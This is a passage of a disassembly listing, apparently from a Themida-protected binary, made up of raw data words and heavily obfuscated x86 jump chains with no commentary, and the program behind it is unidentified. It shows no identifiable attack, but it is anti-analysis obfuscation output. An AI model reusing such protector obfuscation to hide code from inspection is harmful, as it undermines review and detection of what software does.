0B951h dd 6D5A1BAEh, 2CA0E981h, 0CD014DF5h, 0E9EF0159h, 4FB7h dd 966B5DBBh, 3298E93Eh, 0B6680000h, 8900001Fh, 21682404h dd 58123851h, 0F7D0F740h, 0AEE105D8h, 0C589EDC7h, 0D5C68158h dd 11A085Ah, 0D5EE81EEh, 0FF1A085Ah, 575D2434h, 0C781E789h dd 4, 0FF7566E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BE89: ; CODE XREF: Themida_:00563DA8j sub al, 4 jmp loc_55ED98 ; --------------------------------------------------------------------------- loc_55BE90: ; CODE XREF: Themida_:00562E12j xor edx, [esp] jmp loc_55AD3D ; --------------------------------------------------------------------------- dd 9C2424D2h, 0FF34CCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55BEA1: ; CODE XREF: Themida_:0055870Bj add edx, 7A596BA9h push ecx mov ecx, 55C25C9Eh jmp loc_563A1D ; --------------------------------------------------------------------------- loc_55BEB2: ; CODE XREF: Themida_:0055D469j not edx xor edx, 6AA9637Bh add ebx, edx pop edx add ebx, 57FA5F6Dh jmp loc_55929F ; --------------------------------------------------------------------------- loc_55BEC8: ; CODE XREF: Themida_:005578BEj mov eax, [edx] push dword ptr [esp] jmp loc_5567C3 ; --------------------------------------------------------------------------- dw 96E9h dd 33FFFF34h, 0C31240Ch, 0B61BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BEE2: ; CODE XREF: Themida_:00557149j pop ebx add bl, 4 sub bl, ch sub bl, 4 pop cx sub bl, al add bl, 8Eh push ax push ebx mov bh, 8Eh dec bh jmp loc_555356 ; --------------------------------------------------------------------------- dw 1C89h dd 34FF5424h, 0AAE95B24h, 33000008h, 1C31241Ch, 241C3324h dd 2414895Ch, 1DF8E9h, 6D1EBB00h, 0CB813161h, 7E792092h dd 6106F381h, 0C3817E40h, 1D862B9Dh, 0F3814B4Bh, 1EBF3837h dd 0FF9C9CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55BF41: ; CODE XREF: Themida_:00561291j push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_563D29 ; --------------------------------------------------------------------------- aVhV db 'VhÞv',0 dd 242C8900h, 306669BDh, 4EC8326h, 0B8240489h, 4EB02E8Ah dd 0FFCDDEE9h, 1C77FFFFh, 6659669Dh, 9C2414D3h, 0FF33E8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BF85: ; CODE XREF: Themida_:0055F4D1j xor ebx, eax xor eax, ebx not ebx push 1D05h mov [esp], edi mov edi, esp jmp loc_551353 ; --------------------------------------------------------------------------- dw 0C701h dd 2BA5258h, 1000000h, 422CE9D7h, 5259FFFFh, 0C281E289h dd 4, 0FF5C3DE9h, 0ACE956FFh db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BFBF: ; CODE XREF: Themida_:0055C3DAj mov ecx, 76BA414Ah xor ecx, 0F0306FEh add eax, ecx pop ecx jmp loc_55C167 ; --------------------------------------------------------------------------- loc_55BFD2: ; CODE XREF: Themida_:005611B8j push eax mov eax, 59F17125h sub esi, eax pop eax mov edi, [esp] add esp, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], esi push ebp jmp loc_563697 ; --------------------------------------------------------------------------- dw 0BA52h dd 76A71278h, 0FF7835E9h, 0A8EA81FFh, 1677D07h, 5DE955C2h dd 28FFFF79h, 515A66D1h, 0FFE4B7E9h, 24048BFFh, 0FF57ACE9h dd 92E95EFFh, 68FFFFCEh, 3B9Bh, 68240C89h, 38h, 0E9240C8Bh dd 0FFFFFCA1h, 0E924248Bh, 3576h, 4C7814Fh, 1DBFDFFh, 23E95FFEh dd 80FFFF7Ch, 0C2804EF2h, 66D388A2h, 8124148Bh, 2C4h, 0DC0400h dd 54B3E9D8h, 815DFFFFh, 3A225AEAh, 15EA8151h, 0E9668806h dd 0FFFFF3A5h, 0E959CA01h, 5E0Bh ; --------------------------------------------------------------------------- loc_55C088: ; CODE XREF: Themida_:00563ABAj sub esp, 4 mov [esp], ebp mov ebp, 4350DEDh jmp loc_554A31 ; --------------------------------------------------------------------------- loc_55C09B: ; CODE XREF: Themida_:00550F88j mov [esp], edi jmp loc_561A1B ; --------------------------------------------------------------------------- loc_55C0A3: ; CODE XREF: Themida_:00558339j add esp, 4 sub ebp, 0C642143Dh push edi jmp loc_55617D ; --------------------------------------------------------------------------- db 29h, 0F0h, 5Eh dd 83243C8Bh, 7E2D04C4h, 0E920DB03h, 0FFFF67F6h, 2870AC2Dh dd 0D0F75A7Ch, 0F920D505h, 9FDDE913h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C0DA: ; CODE XREF: Themida_:0055DB63j mov esi, 4 add ecx, esi pop esi push 43BAh jmp loc_553138 ; --------------------------------------------------------------------------- dd 4C481h, 0E52D0000h, 0E95C4E14h, 51FEh, 2A4BE181h, 0E9810F4Ah dd 0CEA2C401h, 2959CB29h, 0D7295BDFh, 5D33E9h, 51665A00h dd 501DB966h, 3DDD0566h, 0FF8764E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C125: ; CODE XREF: Themida_:00564748j add ebx, 1B353FDBh pop edx and eax, ebx jmp loc_560A04 ; --------------------------------------------------------------------------- db 53h dd offset dword_580068 dd 24048900h, 0F961C8B8h, 0B46EE973h, 0EF81FFFFh, 43C50979h dd 276FC781h, 8B5D2040h, 0C483241Ch, 4C78104h, 33000000h dd 8AE9243Ch db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C167: ; CODE XREF: Themida_:0055BFCDj add eax, 3FF81D4Ch add edi, eax pop eax jmp loc_558DB8 ; --------------------------------------------------------------------------- dd 81E38953h, 4C3h, 4C38300h, 0E84E9h, 0E2895200h, 4C281h dd 0EA830000h, 24148704h, 0FF8BB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C199: ; CODE XREF: Themida_:0055DC62j pop dx not bl push ax jmp loc_55FB94 ; --------------------------------------------------------------------------- dd 2C022C58h, 4D00064h, 0E9515364h, 723Dh, 0D0015D5Eh dd 3D16F005h, 78942D45h, 0BF573613h, 2E094661h, 0FFE86FE9h dd 0D1E280FFh, 0F654F280h, 66EA80DAh, 0E95AD028h, 43D4h ; --------------------------------------------------------------------------- loc_55C1E0: ; CODE XREF: Themida_:00550BA1j or edi, 6E4C28B5h dec edi add edi, 33CB390Ah shl edi, 1 push edx mov edx, 2B3B05F7h sub edi, edx mov edx, [esp] add esp, 4 xor edi, 3B17C991h add ecx, edi mov edi, [esp] add esp, 4 add ecx, 4 jmp loc_55045D ; --------------------------------------------------------------------------- dw 8B66h db 0Ch, 24h, 52h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], esp jmp loc_557EA9 ; --------------------------------------------------------------------------- loc_55C238: ; CODE XREF: Themida_:005530C4j sub edi, 3E667E6Eh add edi, ebp push ebp mov ebp, 61955686h or ebp, 5E6B5D4Bh or ebp, 35B43EC5h xor ebp, 3215022Ah xor ebp, 5C6316C5h shr ebp, 6 add ebp, 3E2058C2h add edi, ebp pop ebp push dword ptr [esp] pop ebp jmp loc_555FC5 ; --------------------------------------------------------------------------- db 0BBh dd 71937235h, 88C38143h, 19284C9h, 192D5BD8h, 127E14Ah dd 4EC81F8h, 0E9000000h, 0FFFFF29Eh ; --------------------------------------------------------------------------- loc_55C294: ; CODE XREF: Themida_:005647BEj xor edi, 124A0352h xor edi, 0E4E3E488h add ebp, edi pop edi jmp loc_55259D ; --------------------------------------------------------------------------- dd 835723B8h, 45C58111h, 8125D236h, 2F4443C5h, 0E9C52976h dd 79D1h, 54240C89h, 4C18159h, 0E9000000h, 0FFFFB902h dd 507E0C1h, 0EBFBF684h, 45AE9h, 0D8F74000h, 0C2E9D0F7h dd 0BBFFFF75h, 5E2B68D5h, 1C8BDD21h, 4C48124h, 81000000h dd 0BD0D5AC5h, 68E95077h, 66000072h, 8135E22Dh, 4ECh, 56A8E900h dd 0E9ADFFFFh, 0FFFFA008h, 1AE68h, 4EC8300h, 68242489h dd 434Eh, 0E9240489h, 0FFFFC9B8h, 4C381h, 0EB810000h, 4 dd 0FF6937E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C341: ; CODE XREF: Themida_:0055E23Dj pop edi shr ebx, 4 shr ebx, 6 add ebx, 4DA5328h push ebx xor dword ptr [esp], 4A7808EBh jmp loc_564285 ; --------------------------------------------------------------------------- loc_55C35B: ; CODE XREF: Themida_:00555AC5j not ecx xor ecx, 83E0D8A1h or ebx, ecx pop ecx jmp loc_5537C1 ; --------------------------------------------------------------------------- db 1 dd 24348BF2h, 2B01E9h, 18656800h, 815F7295h, 3C306ECFh dd 0DFF7815Ch, 57605B5Eh, 67ABBE56h, 74310337h, 5E5E0424h dd 67ABF681h, 1DE90337h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C39F: ; CODE XREF: Themida_:00557FABj mov ecx, 6700BFEh add ecx, 0B2EC9341h add edx, ecx pop ecx and eax, edx pop edx or eax, eax jz loc_55830E push dword ptr [edi+28h] sub esp, 4 jmp loc_556245 ; --------------------------------------------------------------------------- loc_55C3C6: ; CODE XREF: Themida_:00559C1Bj pop ebp jmp loc_5594DE ; --------------------------------------------------------------------------- dd 23DD68h, 9577E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C3D6: ; CODE XREF: Themida_:00564316j or eax, ecx pop ecx push ecx jmp loc_55BFBF ; --------------------------------------------------------------------------- db 59h dd 3C685257h, 5A5DB749h, 398A6853h, 1C8B6385h, 0E5ECE924h dd 0EBC1FFFFh, 0E9D3F706h, 38F0h, 0A2868h, 240C8900h, 42474FFh dd 83240C8Bh, 48F04C4h, 0EC815C24h, 4, 89240489h, 4EC83E0h dd 0BF243C89h, 64F46D4Bh, 4F03EFC1h, 1D64EF81h, 0F7812F1Dh dd 4BA148C6h, 5917E9h, 0CBBF5700h, 8164B42Fh, 5D7916F7h dd 0BC78127h, 0D113937Dh, 48D5E9EFh, 0B0500000h, 58C300AAh dd 50B4C380h, 0FFF0F3E9h, 0E98158FFh, 5CAD7C19h, 0C90E181h dd 73E9267Dh, 5A000082h, 256AE9h db 0 ; --------------------------------------------------------------------------- loc_55C481: ; CODE XREF: Themida_:00559A95j xor edx, 129667C4h sub edx, 4854062Eh push esi mov esi, 21E65872h and edx, esi push dword ptr [esp] pop esi add esp, 4 dec edx shl edx, 1 add edx, 20CB10BEh xor ebx, edx jmp loc_5573C1 ; --------------------------------------------------------------------------- loc_55C4AC: ; CODE XREF: Themida_:00551727j pop dword ptr [esp] jmp loc_552151 ; --------------------------------------------------------------------------- dd 5652E689h, 338E9h, 0ED814D00h, 0CA7E54CAh, 0C15DEA89h dd 0CA8105E2h, 2C336129h, 21EDC281h, 0E2C1775Ah, 3FF7E906h dd 0EB000000h, 0C0B60F59h, 568734FFh, 4643E9h, 4C38100h dd 53000000h, 42474FFh, 24048F5Bh, 0FF45F2E9h, 2EB83FFh dd 1737E9h, 2C8B5E00h, 4C48324h, 0FF4E62E9h, 0C1EA81FFh dd 0E92DDB5Ah, 0FFFF72DDh, 0FF240C89h, 0E9042474h, 3D65h dd 0E860E958h, 0DE01FFFFh, 0CB9C681h, 575B4CF6h, 2B951h dd 0CF890000h, 83240C8Bh, 0C68104C4h, 56582DAEh, 7EE9FE01h dd 58FFFF63h, 8B24048Fh, 0B8502424h, 517F30F3h, 3093BE56h dd 0F0297A88h, 6CF3355Eh, 0B4E91718h, 29FFFFAFh, 7CEA81EAh dd 537FCA44h, 3E7A73BBh, 0B7EA8129h, 14F697Eh, 0B7C281DAh dd 5B4F697Eh, 0FA67E95Dh, 6BAFFFFh, 291CF145h, 0CE815AD6h dd 4D7B5A18h, 409C681h, 0F6815363h, 52E28002h, 34FFF701h dd 0C4835E24h, 4EC8104h, 89000000h, 2B82404h, 81000000h dd 3D00F7C7h, 98C78170h, 159550Bh, 98EF81C7h, 5359550Bh dd 3D00F7BBh, 0E9DF2970h, 34B6h, 780B68h, 24048900h, 207673B8h dd 0F212565h, 8E9254Ah, 0D3000051h, 0E99C243Ch, 0FFFF2D61h dd 8124048Bh, 4C4h, 0FFC80100h, 83592434h, 48704C4h, 24248B24h dd 2404D366h, 2D3FE99Ch, 7AB3FFFFh, 0DBF6DBF6h, 0FFEB80h dd 0EC815BD8h, 4, 0B7241C89h, 0FFF828CDh, 0CBE92434h, 68000018h dd 5BF2h, 68243489h, 4C7Dh, 7BCC68h, 48F5400h, 1AE95524h dd 53000065h, 0C41851BBh, 0FFDA3150h, 1C8B2434h, 4C48124h dd 0E9000000h, 0FFFF3084h ; --------------------------------------------------------------------------- loc_55C684: ; CODE XREF: Themida_:0054F380j add ch, 0E8h push edx mov dl, 0C3h add dl, 34h inc dl inc dl sub dl, 0D9h and ch, dl mov edx, [esp] add esp, 4 jmp loc_55FA42 ; --------------------------------------------------------------------------- dd 1C38159h, 0F7000000h, 5E3C1D3h, 0FFADD6E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C6B5: ; CODE XREF: Themida_:0055994Aj add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] push 0A88h jmp loc_553B83 ; --------------------------------------------------------------------------- db 30h dd 241C8BD8h, 4C481h, 0D0F60000h, 51665624h, 0FFB8EDE9h dd 49E95CFFh db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C6F3: ; CODE XREF: Themida_:0055B780j pop ecx push dword ptr [esp] pop edx add esp, 4 push 43ACh jmp loc_5638C0 ; --------------------------------------------------------------------------- dd 4CC26857h, 0A4E94FD7h, 53FFFFABh, 4BBh, 5BDA0100h, 0FFCE1DE9h dd 0E38953FFh, 360968h, 24348900h, 0FFFFD7E9h, 9EE9ADFFh dd 1000069h, 1C8758C3h, 0C1835C24h, 240C3304h, 33240C31h dd 248B240Ch, 1890E924h, 0B8500000h, 0D6875CCh, 0FFF46DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C75D: ; CODE XREF: Themida_:005628D4j sub [esp+4], esi pop esi jmp loc_553DCC ; --------------------------------------------------------------------------- db 89h dd 4BF57E3h, 1000000h, 0B8505FFBh, 4DED39B8h, 12C64C05h dd 0E6DEE9B2h, 8853FFFFh, 0E9DD88E3h, 3C2Eh, 20DAE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C792: ; CODE XREF: Themida_:0055F676j pop edx jmp loc_552B51 ; --------------------------------------------------------------------------- loc_55C798: ; CODE XREF: Themida_:005616EFj push edx mov edx, 630E40F1h push edi mov edi, 72B31565h jmp loc_55D5D5 ; --------------------------------------------------------------------------- db 83h, 4, 24h dd 2434FF04h, 0FF95C7E9h, 4C483FFh, 4C381h, 0C3830000h dd 241C8704h, 1E75685Ch, 51E90000h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C7CF: ; CODE XREF: Themida_:0055A732j sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], esi jmp loc_55472A ; --------------------------------------------------------------------------- loc_55C7E0: ; CODE XREF: Themida_:0055EBAFj mov ebx, [esp] jmp loc_562F60 ; --------------------------------------------------------------------------- dd 6F379ABEh, 5EF72986h, 3441E9h, 722F6800h, 815E07F8h dd 518C7CEh, 67EE8129h, 890E6202h, 4FCE9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C80E: ; CODE XREF: Themida_:005593E2j shr eax, 18h xor eax, ecx push eax jmp loc_55E1A3 ; --------------------------------------------------------------------------- db 53h, 54h, 5Bh dd 8904EC83h, 4BA2414h, 1000000h, 24148BD3h, 4C481h, 0BF570000h dd 4, 53E9FB01h, 0F7FFFF45h, 0C1E987D5h, 0D1F707E1h, 72EAE956h dd 525EFFFFh, 284FE9h, 62EF8000h, 8B5BFA00h, 0C4812404h dd 4, 8B66D030h, 95682414h, 8900002Dh, 94682434h, 5400004Ch dd 8124048Fh, 42404h, 348B0000h, 4C48124h, 55000000h, 0FFF5BDE9h dd 4C481FFh, 81000000h, 4EBh, 241C8700h, 2A13E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C8A6: ; CODE XREF: Themida_:00562070j pop ebx sub al, 4Fh add al, dl jmp loc_5616A0 ; --------------------------------------------------------------------------- loc_55C8B0: ; CODE XREF: Themida_:0055CC9Dj pop esp sub esp, 4 mov [esp], ebx push ecx push 1BED2787h jmp loc_5532B5 ; --------------------------------------------------------------------------- db 0BBh, 0A6h, 13h dd 0B2D7B72h, 13A7375h, 0B95152D8h, 7B800A67h, 0F36AA4BAh dd 0D30EE9BEh, 0C181FFFFh, 4, 0E904C183h, 0D39h, 4783BE66h dd 81664666h, 66DC6AF6h, 0B9E9F501h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C903: ; CODE XREF: Themida_:005613FFj xchg ecx, [esp] jmp loc_555F58 ; --------------------------------------------------------------------------- loc_55C90B: ; CODE XREF: Themida_:00563E88j add edi, 659B2240h pop ecx add edi, ebp add edi, 13A2623h jmp loc_559530 ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 243C8704h, 0E089505Ch, 405h, 2237E900h dd 17BE0000h, 0E950530Ch, 2165h ; --------------------------------------------------------------------------- loc_55C940: ; CODE XREF: Themida_:0055717Bj push 6C4h jmp loc_5530CF ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 5ED6E9h, 0C895C00h, 0AFE95424h, 5FFFFCFh dd 1A1F41B6h, 0E950D801h, 0FFFF47ADh, 6CEF6855h, 24890000h dd 24048124h, 4, 83242C8Bh, 0C58104C4h, 4, 1ABE5653h, 5725F734h dd 5243BB53h, 3AE9298Ah, 81FFFF3Ah, 4E9h, 240C8700h, 242C895Ch dd 5C52E668h, 120CE969h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C9B2: ; CODE XREF: Themida_:00551DFBj sub ebp, 1F06172Ch pop eax push ecx mov ecx, 6EC81023h add ecx, 1D433886h jmp loc_563255 ; --------------------------------------------------------------------------- loc_55C9CA: ; CODE XREF: Themida_:005624BEj pop ebx mov edi, ebx mov ebx, [esp] add esp, 4 jmp loc_55609B ; --------------------------------------------------------------------------- loc_55C9DB: ; CODE XREF: Themida_:0055ADCDj or edx, 207D67B2h dec edx add edx, 1EA747B8h dec edx add edx, 0B6694227h mov eax, edx mov edx, [esp] add esp, 4 sub eax, 16F9252Ah jmp loc_55A468 ; --------------------------------------------------------------------------- dd 0E904C383h, 0FFFF6DE5h, 0A716F281h, 0AC056362h, 297C2870h dd 0F6AAE9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CA1E: ; CODE XREF: Themida_:0054F6D5j pop esp or eax, eax jz loc_55734B push 20E7h mov [esp], eax push ecx mov ecx, 1Ch push ecx pop eax mov ecx, [esp] jmp loc_555A51 ; --------------------------------------------------------------------------- db 81h dd 222D2FC5h, 0E9DD0129h, 4C75h ; --------------------------------------------------------------------------- loc_55CA4C: ; CODE XREF: Themida_:0055A97Cj pop ecx sub ebx, edi pop edi jmp loc_554F42 ; --------------------------------------------------------------------------- db 4, 23h, 66h dd 65B75352h, 800CB151h, 0CE888AF1h, 38ABE9h, 5A545200h dd 0FFB57CE9h, 48B66FFh, 0E9545024h, 0FFFF5B72h ; --------------------------------------------------------------------------- loc_55CA7C: ; CODE XREF: Themida_:005504D2j push eax jmp loc_559FAE ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFFD667h, 0FBE9515Ah, 0ACFFFF3Fh, 396068h, 242C8900h dd 0C581E589h, 4, 0FF99F4E9h, 65A4B8FFh, 0EA81417Dh, 49781136h dd 0C281C229h, 49781136h, 8124048Bh, 4C4h, 79BE5600h, 29229C09h dd 0BB535EF2h, 77DC246Fh, 21C7EB81h, 0CB817CF3h, 252E3D16h dd 0FF4865E9h, 3EDDBFFFh, 0C8E934ACh, 8BFFFFAFh, 0C481241Ch dd 4, 22Dh, 4EC8300h, 0FF240489h, 0FF042474h, 48E92434h dd 81FFFF71h, 4ECh, 242C8900h, 653147BDh, 0ACA7BF27h, 0EF298733h dd 38E9525Dh db 75h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CB27: ; CODE XREF: Themida_:0055E757j pop esi or edx, 6F7318D4h shr edx, 5 or edx, 73314628h sub edx, 737BDEEAh jmp loc_54F7BB ; --------------------------------------------------------------------------- dw 805Bh dd 885368C4h, 5BDA88E3h, 0FFF653E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CB51: ; CODE XREF: Themida_:0055F710j sub esp, 4 mov [esp], esp jmp loc_5550EC ; --------------------------------------------------------------------------- dd 432BEB81h, 815F63C3h, 2C3h, 0DFE95300h, 89FFFFB4h, 25E92414h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CB77: ; CODE XREF: Themida_:0055E2EDj mov [esp], edi mov edi, 10536E07h push eax jmp loc_56458B ; --------------------------------------------------------------------------- db 53h, 0E9h, 0BDh dd 89FFFFCAh, 4C281E2h, 56000000h, 0FFF171E9h, 0E9C1FFh dd 0FF8834E9h, 5BDA89FFh, 0E902E2C1h, 2645h, 415268h, 48F5400h dd 24048324h, 243C8B04h, 0E9E08950h, 0FFFFED0Fh, 4EB815Dh dd 87000000h, 4CE9241Ch, 0C1000065h, 0CB8103E3h, 7A75428Dh dd 0C171C381h, 0D831E36Ch, 0E9241C8Bh, 0FFFF3674h, 0BF575A5Ah dd 28F868DBh, 4724E981h, 15E95562h, 0F7000057h, 70B850D7h dd 9188F26h, 24048BC7h, 4C481h, 0BA520000h, 780D5617h dd 0E905EAC1h, 2336h ; --------------------------------------------------------------------------- loc_55CC20: ; CODE XREF: Themida_:0055E66Dj pop esp jmp loc_558AAE ; --------------------------------------------------------------------------- loc_55CC26: ; CODE XREF: Themida_:005592DDj xchg edi, [esp] pop esp mov [esp], ebx pop eax push dword ptr [esp] pop ebx jmp loc_558E10 ; --------------------------------------------------------------------------- loc_55CC37: ; CODE XREF: Themida_:005621D3j sub ecx, edi add ecx, 2AFC0A1Eh mov edi, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_560F97 ; --------------------------------------------------------------------------- db 56h dd 4BB53h, 0DE890000h, 60C1815Bh, 135455Bh, 60BF57F1h dd 2935455Bh, 348B5FF9h, 4C48324h, 0FF658DE9h, 23F381FFh dd 89134877h, 0CD895BD9h, 0BCC58159h, 811D0A19h, 6A449BF5h dd 6DE5E977h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CC9A: ; CODE XREF: Themida_:0055D80Bj xchg ecx, [esp] jmp loc_55C8B0 ; --------------------------------------------------------------------------- dw 0BB53h dd 5BDE2FCDh, 5526C381h, 0EFE94B70h db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CCB3: ; CODE XREF: Themida_:00557F68j pop esi shr ebp, 3 sub ebp, 84E226Dh sub esp, 4 jmp loc_563C3C ; --------------------------------------------------------------------------- dd 5F2434FFh, 0E904EC83h, 12FFh, 240C8B54h, 0E9E18951h dd 0FFFF978Dh, 0BBE9DF89h, 52FFFF27h, 0C281E289h, 4, 4EA81h dd 14870000h, 19F1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CCFE: ; CODE XREF: Themida_:00550714j mov eax, 4 mov ecx, eax jmp loc_55F5D8 ; --------------------------------------------------------------------------- dw 535Eh dd 0A760C8BBh, 0C1EBD141h, 0DBF708EBh, 0FFFFC381h, 0C381FFFFh dd 489B22EAh, 815BDA09h, 2D4AF8EAh, 0C5BD5562h, 3107CE34h dd 242C8BEAh, 0FF7AF6E9h, 2434FFFFh, 0FF2434FFh, 0C8B2434h dd 5FE95624h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CD4F: ; CODE XREF: Themida_:0055D5AAj mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_5595E6 ; --------------------------------------------------------------------------- dw 8F64h dd 0E774E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CD6A: ; CODE XREF: Themida_:00554DFCj sub ecx, 6F1F135Dh jmp loc_55404C ; --------------------------------------------------------------------------- db 5Ah, 53h, 89h dd 4C381E3h, 83000000h, 1C8704C3h, 24248B24h, 5BBCBB53h dd 0D8296639h, 5C8015Bh, 66395BBCh, 0E9240C8Bh, 710Ch dd 0E389535Bh, 4C381h, 0C3810000h, 4, 0FF5C19E9h, 0DA015DFFh dd 457C685Bh, 0C890000h, 91AE924h, 34FF0000h, 24348B24h dd 4C481h, 0C4830000h, 4055804h, 83000000h, 43304C0h, 24043124h dd 0E9240433h, 0FFFF79CAh, 8BC2015Fh, 0C4812404h, 4, 4EC81h dd 0DEE90000h, 81FFFF8Eh, 67373AE9h, 9EC181A2h, 29062102h dd 0EB8159CBh, 46740D98h, 0BF57FB01h, 600A1F9Eh, 3855EF81h dd 0E78136F0h, 31524AAh, 0FF39BCE9h, 1BE95FFFh, 50FFFFF9h dd 0E2860B8h, 51490508h, 0B52D5DC5h, 812E1359h, 0CE3169EAh dd 81C22970h, 0CE3169C2h, 0E2815870h, 445A3A8Ah, 9D37E94Ah dd 4BEFFFFh, 1000000h, 0DF7EE9F2h, 28FFFFFh, 0FF4357E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CE75: ; CODE XREF: Themida_:00552A00j push esi jmp loc_55282F ; --------------------------------------------------------------------------- loc_55CE7B: ; CODE XREF: Themida_:0055D2BCj add esp, 4 jmp loc_556825 ; --------------------------------------------------------------------------- dw 0DFF6h dd 0CF86C7FEh, 0CF86D1F6h, 0F780D7F6h, 5BFE2888h, 7FB75366h dd 5B66FE28h, 0FF7024E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CEA5: ; CODE XREF: Themida_:0054F5E7j sub ecx, 0D9E6EE78h xor edx, ecx pop ecx shl edx, 5 push ebx mov ebx, 0E6452C9h add ebx, 5F25EC20h jmp loc_56055E ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFF286Ch, 348BF721h, 4C48324h, 1C781h, 0BB530000h dd 4EE9765Bh, 50E9DF01h, 2900000Bh, 5F04247Ch, 40C7815Fh dd 5D27862Ah, 0FF4340E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CEF5: ; CODE XREF: Themida_:005524FDj sub esp, 4 mov [esp], edx jmp loc_5522F5 ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 0E9000000h, 0FFFF7846h, 592434FFh, 0E904EC83h dd 0FFFF6546h, 43FBE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CF22: ; CODE XREF: Themida_:0055ADE7j add ecx, ebp pop ebp jmp loc_55E7D2 ; --------------------------------------------------------------------------- loc_55CF2A: ; CODE XREF: Themida_:0055D600j mov ebp, 63A62606h add ecx, ebp pop ebp add ecx, 5FD2CC9h add ecx, eax sub ecx, 5FD2CC9h jmp loc_563DC9 ; --------------------------------------------------------------------------- db 81h, 0C7h, 0D8h dd 81340114h, 71319DEAh, 81FA017Fh, 71319DC2h, 6C72E97Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CF5E: ; CODE XREF: Themida_:00554FDFj pop ecx pop dword ptr [esp] pop esp mov [esp], ebp mov ebp, 7843C00h add eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_554011 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 1B620B2Dh, 0E301E934h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CF8E: ; CODE XREF: Themida_:0055A2AFj jz loc_557665 push eax push 3742h mov [esp], ecx push ebx push 3E752FA9h jmp loc_553BF9 ; --------------------------------------------------------------------------- dd 0FF23C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CFAD: ; CODE XREF: Themida_:0055EF10j mov edi, 4 add ebx, edi pop edi xchg ebx, [esp] pop esp not edi jmp loc_55FC22 ; --------------------------------------------------------------------------- dd 3108E8C1h, 301468C8h, 4890000h, 4EC8324h, 0E9242C89h dd 0FFFF7B7Ah, 0DB70E957h, 8AE9FFFFh db 23h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CFE3: ; CODE XREF: Themida_:00554BDBj neg eax jmp loc_555E5E ; --------------------------------------------------------------------------- dw 0C601h dd 34875B58h, 24248B24h, 9C240CFEh, 0FF2370E9h, 241C89FFh dd 0C7FEACB7h, 0FFC3B9E9h, 74FF53FFh, 8F5B0424h, 685C2404h dd 3838h, 200EE9h, 58C68900h, 5414F681h, 0F00926E7h, 0FF4166E9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax push 34Ch mov [esp], ebx jmp loc_56289A ; --------------------------------------------------------------------------- dw 0C483h dd 0C9B95104h, 53722908h, 8237B8BBh, 5BD90973h, 0FFCA8CE9h dd 0E9F301FFh, 6446h, 34FD2CBFh, 5FFE01F2h, 348BF501h dd 4C48324h, 31242C33h, 2C33242Ch, 0EC835C24h, 24048904h dd 1246486h, 6486D4F6h, 48B0124h, 4C48324h, 32242430h dd 24302424h, 22BBE924h, 2DFFFFh, 8901EC80h, 8EE958C3h dd 81FFFFB8h, 4ECh, 24148900h, 608768h, 24048900h, 0F6FBB252h dd 80DAF6D2h, 0EE98AC2h, 81FFFF76h, 9DE0C6C7h, 5FFE294Ch dd 565EF089h, 0FF3445E9h, 242489FFh, 7455E9h, 24348100h dd 5E947B0h, 20BD555Fh, 0F7668828h, 17F581DDh, 81535549h dd 395747EDh, 5DEF31C4h, 0FF2434FFh, 0E95E2434h, 